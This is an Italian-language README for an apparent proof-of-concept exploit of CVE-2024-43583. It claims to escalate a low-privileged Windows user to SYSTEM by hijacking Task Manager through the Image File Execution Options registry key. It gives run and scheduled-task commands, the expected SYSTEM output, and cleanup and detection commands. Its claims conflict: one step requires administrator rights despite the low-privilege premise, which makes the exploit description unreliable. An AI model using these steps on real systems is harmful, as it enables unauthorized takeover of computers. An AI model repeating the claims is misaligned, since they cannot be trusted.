CVE-2024-43583 - Exploit di Escalation dei Privilegi di Windows

Autore: No0B@ckSappi3 Instagram: No0BackSappi3

Panoramica

CVE-2024-43583 è una vulnerabilità di elevazione dei privilegi che interessa il componente Winlogon di Microsoft. Sfruttando questa falla, un utente con privilegi limitati può elevare i propri privilegi a SYSTEM, portando al pieno compromesso del sistema.

Questo proof-of-concept (PoC) sfrutta l'Hijacking del Debugger tramite la chiave di registro Image File Execution Options (IFEO) di Windows per sostituire un processo di sistema legittimo con un payload malevolo.

Versioni di Windows Affette

Versioni di Windows Affette

Windows 10 (1507 - 22H2) Windows 11 (21H2 - 24H2) Windows Server 2008 SP2 - 2022

⚠️ Disclaimer

Questo exploit è solo a scopo educativo e di ricerca. Non utilizzarlo su sistemi non autorizzati. L'uso improprio di questo exploit potrebbe essere illegale.

---

Utilizzo dell'Exploit

Configurazione

Assicurati che Python sia installato sul sistema di destinazione. In caso contrario, utilizza la versione compilata .exe.

Esecuzione dell'Exploit

Opzione 1: Esecuzione diretta da un utente con privilegi limitati

python poc-43583.py

Opzione 2: Esecuzione tramite Task Scheduler

1. Crea un'attività pianificata: (Esegui come amministratore)

   schtasks /create /tn "LowPrivExploit" /tr "C:\Path\To\python.exe C:\Path\To\poc-43583.py" /sc once /st 00:00 /ru lowpriv /f
   

2. Esegui l'attività:

   schtasks /run /tn "LowPrivExploit"
   

3. Attiva l'exploit: Apri Task Manager (Ctrl + Maiusc + Esc). Se l'operazione riesce, apparirà una shell SYSTEM al posto del normale Task Manager.

Verifica dell'Escalation dei Privilegi

Una volta eseguito l'exploit, verifica i tuoi privilegi:

whoami

Output previsto:

nt authority\system

---

🛠️ Pulizia

Metodo 1: Usa il PoC per ripristinare le impostazioni predefinite

Esegui di nuovo lo script e seleziona l'opzione [2] per rimuovere l'hijack.

Metodo 2: Elimina manualmente la chiave di registro

1. Apri il Prompt dei comandi come amministratore.
2. Esegui:

   reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /f
   

3. Elimina l'attività pianificata (se utilizzata):

   schtasks /delete /tn "LowPrivExploit" /f
   

---

Rilevamento e Mitigazione

• Controlla la presenza di chiavi Debugger inaspettate:

  reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"
  

• Attiva la Protezione da manomissione di Windows Defender per prevenire modifiche al registro.
• Utilizza soluzioni EDR/SIEM per rilevare modifiche non autorizzate al registro.

---

📝 Riferimenti

• Avviso di sicurezza Microsoft
• Guida allo sviluppo di exploit